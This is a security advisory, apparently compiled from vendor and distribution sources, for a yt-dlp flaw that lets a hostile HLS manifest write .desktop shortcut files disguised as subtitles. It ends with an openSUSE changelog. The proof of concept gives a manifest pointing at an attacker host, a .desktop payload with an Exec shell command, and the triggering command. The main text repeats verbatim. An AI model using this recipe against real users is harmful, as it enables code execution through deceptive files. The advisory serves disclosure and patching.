CVE-2026-50023

Summary

A vulnerability exists in yt-dlp that allows a remote attacker to write arbitrary OS-shortcut files (such as .desktop, .url, .webloc) to the user's filesystem, bypassing the remediation for CVE-2024-38519.

Details

The fix for CVE-2024-38519 enforced an allowlist for file extensions, in order to prevent writing files with unsafe extensions (such as .exe or .sh) during file downloads. However, this allowlist explicitly included the unsafe extensions .desktop, .url, and .webloc so that the functionality of the --write-link option (and its variants) could be preserved. These allowlist inclusions can be exploited by an attacker to write malicious OS-shortcut files in the context of a media or subtitles download.

Numerous yt-dlp extractors derive the downloaded media or subtitles file extension from a potentially attacker-controlled source. An attacker could craft an m3u8 file that contains an EXT-X-MEDIA:TYPE=SUBTITLES tag with a malicious URI (e.g., URI="http://attacker/x.desktop"), which would result in yt-dlp writing the attacker-controlled content to a file with a .desktop extension if the user had passed the --write-subs option.

Writing OS-shortcut files next to downloaded videos provides a high-probability social engineering vector. The extension of the shortcut file is often hidden from the user, e.g. on Windows by default or on many Linux desktop environments.

While these shortcut files are typically used to point to web locations via URLs, they can also contain shell commands or point to remote executables. The user may be deceived into opening the malicious shortcut disguised as a "subtitles"/media file, leading to a phishing attack or arbitrary code execution.

Proof of Concept

1. Start a malicious server: Host a malicious master.m3u8 manifest that points to malicious subtitle payloads:

#EXTM3U
#EXT-X-MEDIA:TYPE=SUBTITLES,GROUP-ID="subs",NAME="English",URI="http://attacker/payload.desktop",LANGUAGE="en"

And host the payload.desktop file with malicious content:

[Desktop Entry]
Type=Application
Exec=sh -c "touch /tmp/ytdlp_pwned_$(id -u)"
Name=Subtitle

2. Trigger the download: In this case, the generic extractor triggers the exploit if the --write-subs option is used:

yt-dlp --write-subs -o "MyVideo.%(ext)s" "http://attacker/master.m3u8"

Result: yt-dlp writes MyVideo.en.desktop to disk, containing the attacker payload.

Patches

yt-dlp version 2026.06.09 fixes this issue by removing .url, .desktop and .webloc from the global file extension allowlist, and by only allowing those file types to be written from within the context of the --write-link options' functionality.

Workarounds

It is recommended to upgrade yt-dlp to version 2026.06.09 as soon as possible.

Users who are not able to upgrade should do ALL of the following:

• Only pass fully trusted input URLs to yt-dlp
• Do not use the --write-subs, --write-auto-subs, --embed-subs, --write-thumbnail, --write-all-thumbnails, or --embed-thumbnail options
• Use --format - to interactively select download formats and validate their file extensions

Summary

A vulnerability exists in yt-dlp that allows a remote attacker to write arbitrary OS-shortcut files (such as .desktop, .url, .webloc) to the user's filesystem, bypassing the remediation for CVE-2024-38519.

Details

The fix for CVE-2024-38519 enforced an allowlist for file extensions, in order to prevent writing files with unsafe extensions (such as .exe or .sh) during file downloads. However, this allowlist explicitly included the unsafe extensions .desktop, .url, and .webloc so that the functionality of the --write-link option (and its variants) could be preserved. These allowlist inclusions can be exploited by an attacker to write malicious OS-shortcut files in the context of a media or subtitles download.

Numerous yt-dlp extractors derive the downloaded media or subtitles file extension from a potentially attacker-controlled source. An attacker could craft an m3u8 file that contains an EXT-X-MEDIA:TYPE=SUBTITLES tag with a malicious URI (e.g., URI="http://attacker/x.desktop"), which would result in yt-dlp writing the attacker-controlled content to a file with a .desktop extension if the user had passed the --write-subs option.

Writing OS-shortcut files next to downloaded videos provides a high-probability social engineering vector. The extension of the shortcut file is often hidden from the user, e.g. on Windows by default or on many Linux desktop environments.

While these shortcut files are typically used to point to web locations via URLs, they can also contain shell commands or point to remote executables. The user may be deceived into opening the malicious shortcut disguised as a "subtitles"/media file, leading to a phishing attack or arbitrary code execution.

Proof of Concept

1. Start a malicious server: Host a malicious master.m3u8 manifest that points to malicious subtitle payloads:

#EXTM3U
#EXT-X-MEDIA:TYPE=SUBTITLES,GROUP-ID="subs",NAME="English",URI="http://attacker/payload.desktop",LANGUAGE="en"

And host the payload.desktop file with malicious content:

[Desktop Entry]
Type=Application
Exec=sh -c "touch /tmp/ytdlp_pwned_$(id -u)"
Name=Subtitle

2. Trigger the download: In this case, the generic extractor triggers the exploit if the --write-subs option is used:

yt-dlp --write-subs -o "MyVideo.%(ext)s" "http://attacker/master.m3u8"

Result: yt-dlp writes MyVideo.en.desktop to disk, containing the attacker payload.

Patches

yt-dlp version 2026.06.09 fixes this issue by removing .url, .desktop and .webloc from the global file extension allowlist, and by only allowing those file types to be written from within the context of the --write-link options' functionality.

Workarounds

It is recommended to upgrade yt-dlp to version 2026.06.09 as soon as possible.

Users who are not able to upgrade should do ALL of the following:

• Only pass fully trusted input URLs to yt-dlp
• Do not use the --write-subs, --write-auto-subs, --embed-subs, --write-thumbnail, --write-all-thumbnails, or --embed-thumbnail options
• Use --format - to interactively select download formats and validate their file extensions

yt-dlp is a command-line audio/video downloader. Prior to 2026.06.09, a vulnerability exists in yt-dlp that allows a remote attacker to write arbitrary OS-shortcut files (such as .desktop, .url, .webloc) to the user's filesystem, bypassing the remediation for CVE-2024-38519. The allowlist explicitly included the unsafe extensions .desktop, .url, and .webloc so that the functionality of the --write-link option (and its variants) could be preserved. These allowlist inclusions can be exploited by an attacker to write malicious OS-shortcut files in the context of a media or subtitles download. This vulnerability is fixed in 2026.06.09.

CVE-2026-50019 If curl is used as an external downloader for yt-dlp, cookies may be leaked to an unintended host upon HTTP redirect or when the host for download fragments differs from their parent manifest's. CVE-2026-50023 A vulnerability exists in yt-dlp that allows a remote attacker to write arbitrary OS-shortcut files (such as .desktop, .url, .webloc) to the user's filesystem, bypassing the remediation for CVE-2024-38519. CVE-2026-50574 If aria2c is used as an external downloader for a fragmented manifest format (such as an HLS/DASH stream), yt-dlp passes insufficiently sanitized input to aria2c that allows an attacker to perform an arbitrary file write. On Windows platforms, this can lead to immediate arbitrary code execution. On non-Windows platforms, this can lead to arbitrary code execution upon the next invocation of yt-dlp. For mageia 9 we import yt-dlp-ejs to ensure the application still works.

These are all security issues fixed in the python313-yt-dlp-2026.06.09-1.1 package on the GA media of openSUSE Tumbleweed.

This update for yt-dlp fixes the following issues:

Changes in yt-dlp:

• Update to version 2026.06.09
  • Fixed [CVE-2026-50019]: File Downloader cookie leak with curl
  • Fixed [CVE-2026-50023]: Dangerous file type creation via insufficient filename sanitization
  • Fixed [CVE-2026-50574]: Arbitrary code execution via manifest downloads with aria2c
  • Added lockfile and pinned extras
  • Removed url, desktop and webloc from safe extensions
  • Extract supplemental codecs from DASH manifests
  • abematv: Extract subtitles
  • ard: Support new ardsounds domain
  • monstercat: Support older URLs
  • pornhub: Support browser impersonation
  • reddit: Fix unauthenticated extraction
  • rtp: Support multi-part episodes and --no-playlist
  • s4c: Extract more metadata
  • soop: Adapt extractors to new domain
  • soundcloud: Support --extractor-retries for original formats
  • twitch: Remove dead rechat subtitles
  • twitter: Fix view_count extraction
  • external: aria2c: Remove support for m3u8/dash protocols
  • ffmpegmetadata: Avoid erroneous ISO 639 conversions